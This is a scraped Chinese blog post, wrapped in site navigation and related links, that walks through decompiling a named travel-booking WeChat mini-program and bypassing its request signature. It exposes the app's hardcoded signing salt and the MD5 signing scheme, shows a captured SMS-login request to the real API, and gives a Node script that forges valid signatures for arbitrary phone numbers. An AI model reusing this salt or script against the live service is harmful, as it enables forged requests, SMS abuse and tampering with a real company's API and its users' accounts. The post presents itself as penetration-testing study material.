当前位置: 首页 > news >正文

网站后台 教程建管家公司简介

网站后台 教程,建管家公司简介,物业服务企业的品牌建设,网站建设监理之前看到了一篇文章 小程序绕过sign签名思路 之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程 并没有漏洞分享,仅仅是把小程序也分享出来,方便大家…

之前看到了一篇文章 小程序绕过sign签名思路 之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程

并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。小程序 父母邦亲子旅行酒店营地乐园活动

在登录时验证码登录的数据包

POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

图片

 

我们直接修改手机号,重放数据包

图片

 

提示签名失败

打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet

图片

 

将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码

图片

 

对小程序进行反编译

图片

 

因为有一些依赖于 wx 所以只能提供思路

图片

 

我们看到 sign 的创建流程

图片

 

所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦

初期思路是这样子的

图片

 

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的

柳暗花明

我们加入调试

图片

 

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数

利用微信开发者工具进行模拟操作

加入断点

图片

 

继续步入

图片

 

可以添加字段 查看对应的值

继续步入

图片

 

该函数首先创建一个空数组 e,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

图片

 

返回值为 64d78d749828368851331593fa1e1ceb

图片

 

图片

 

就是对应字符串生成的 md5 的值

我们修改一下数据包

图片

 

发送成功

修改手机号的数据包

图片

 

图片

 

将手机号修改后 提示签名失败

phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066cphone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912

图片

所以我们把代码稍微修改一下

"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);

图片

 

成功破解了 sign 签名,可以发送任意数据包

原创稿件征集

http://www.yayakq.cn/news/658514/

相关文章:

  • 高校网络网站建设意义及措施焦作市网站建设公司
  • 潍坊外贸网站制作品牌vi设计设计生成
  • 传奇做网站做外贸的女生现状
  • 国土资源局加强网站建设小程序链接wordpress
  • 成都行业网站建设那里好海安公司网站建设
  • 营销型网站模板下载西安网站seo厂家
  • 淘宝找做网站湖南网络营销企业
  • 内蒙古建设安全监督网站平面设计学生作品集
  • joomla 2.5:你的网站建设_使用与管理seo技术秋蝉
  • 怎样创建网站的基本流程怎样不让网站自动跳转wap
  • 推介网站wordpress月亮主题
  • 义乌网站建站食品网站设计欣赏
  • 浙江网站建设公司猪八戒做网站排名
  • 做网站多钱一年南宁网站建设公司哪家专业
  • saas建站平台有哪些给设计公司起名大全
  • 国外知名网站学网络技术培训学校
  • 网络移动公司的网站建设北京南站
  • 工会网站建设可以wordpress友情链接做导航
  • 长沙网站优化分析wordpress滑块部分
  • 简述网站建设的一般步骤久久建筑网怎么免费下载
  • 有哪些网站能够免费找到素材河池网络推广
  • 做网店装修的网站有哪些织梦网站移动化
  • 开发网站需要哪些技术wordpress用什么系统
  • 长春电商网站建设公司想买个服务器做网站
  • 无极网站建设质量推广引流哪个软件最好
  • 资溪县建设局网站临沂网站备案公司
  • 江苏省建设厅官网网站首页襄阳文明建设投诉网站
  • 网站合作推广方案公司注册域名需要哪些条件
  • 创建个网站需要多少钱珠海企业网站建设公
  • 建设部资质网站查询广州建设总承包集团